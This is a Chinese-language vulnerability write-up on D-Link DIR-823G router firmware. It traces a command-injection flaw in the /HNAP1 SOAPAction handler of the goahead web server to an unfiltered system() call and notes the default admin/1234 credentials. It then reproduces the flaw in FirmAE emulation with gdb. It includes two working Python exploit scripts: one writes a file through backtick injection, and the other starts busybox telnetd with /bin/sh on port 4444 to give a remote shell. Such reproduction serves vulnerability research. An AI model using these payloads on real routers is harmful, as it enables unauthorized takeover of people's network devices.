[[CVE]] [固件下载](D-Link Technical Support ) Ubuntu18 IDA9.1 binwalk [[FirmAE]] [[firmwalker]]
固件分析 binwalk解包 先使用binwalk 查看固件信息
1 binwalk DIR823G_V1.0.2B05_20181207.bin
Squashfs文件系统 再进行解包
1 binwalk -Me DIR823G_V1.0.2B05_20181207.bin
我们先来分析etc文件夹中的inittab启动信息 我们继续查看rcS文件 watchdog应该是一种进程的监控程序,启动1000秒后启动web服务文件goahead ,#boa 是被注释掉的,boa 没有被启动
checksec&file查看文件信息 文件为mips,未开启保护
我们使用ida打开goahead文件进行分析
我们着重关注
1 2 if ( sub_423F90() < 0 ) return -1 ;
中的sub_423F90函数
管理界面初始化函数 第14行 sub_416908("adm", 7, 3, 0, 0);创建名为 adm 的权限组 第17行 sub_415F5C("admin", "1234", "adm", 0, 0);默认账号密码为admin / 1234 第46行 sub_40B1F4("/HNAP1", 0, 0, sub_42383C, 0); 漏洞点在sub_42383C 函数中 这里把参数 a7原样放进 echo 命令,然后交给 system() 执行,并且没有任何的过滤
我们搜索与HNAP1相关的文件
查看hnap.js和SOAPAction.js 文件 其中SOAPAction.js是传输协议
hnap.js为两段式请求 先 GET /hnap/<HnapName>.json 拿一份模板数据,再 POST /HNAP1/,用头部SOAPACTION: "http://purenetworks.com/HNAP1/<HnapName>"HNAP_AUTH: <HMAC> <timestamp> 发送 JSON/XML 正文。
固件模拟 使用[[FirmAE]]进行模拟
1 sudo ./run.sh -d dlink DIR823G_V1.0.2B05_20181207.bin
漏洞复现 我们先写一段exp测试以下漏洞情况 在HNAP1界面时的http请求包内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl = "http://192.168.0.1:80/HNAP1/" data_s = "'`echo bbbbbb >web_mtn/misaki.html`'" length = len (data_s) headers_s = { "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Content-Length" : str (length), "SOAPAction" : "\"http://purenetworks.com/HNAP1/GetClientInfo\"" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36" , "Content-Type" : "text/xml; charset=UTF-8" , "Origin" : "http://192.168.0.1" , "Accept-Encoding" : "gzip, deflate, br" , "Accept-Language" : "zh,en-US;q=0.9,en;q=0.8" , "Connection" : "close" } response = requests.post(url, headers=headers_s, data=data_s)
根据请求包写脚本
找到漏洞点函数地址和system执行的地址
1 2 3 4 5 6 7 set architecture mipsset endian littleset sysroot lib/set solib-search-path lib/target remote 192.168 .0 .1 :1337 b *0x0042383C b *0x00423A0C
准备好gdb配置脚本 使用FirmAE中的gdbserver,将goahead服务器文件挂起
1 gdb-multiarch -x mygdb.gdb
执行命令打开gdb C到断点处,再运行我们的exp脚本 运行完成后再c,跳到下一个断点,n走到system执行处 进行执行 使用FirmAE的shell进行查看,发现成功写入
由于没有/dev/tcp,也没有telnet,我们可以使用/bin/busybox中的telnetd进行反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl = "http://192.168.0.1:80/HNAP1/" data_s = "'; /bin/busybox telnetd -l /bin/sh -p 4444 &'" length = len (data_s) headers_s = { "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Content-Length" : str (length), "SOAPAction" : "\"http://purenetworks.com/HNAP1/GetClientInfo\"" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36" , "Content-Type" : "text/xml; charset=UTF-8" , "Origin" : "http://192.168.0.1" , "Accept-Encoding" : "gzip, deflate, br" , "Accept-Language" : "zh,en-US;q=0.9,en;q=0.8" , "Connection" : "close" } response = requests.post(url, headers=headers_s, data=data_s)
成功拿到shell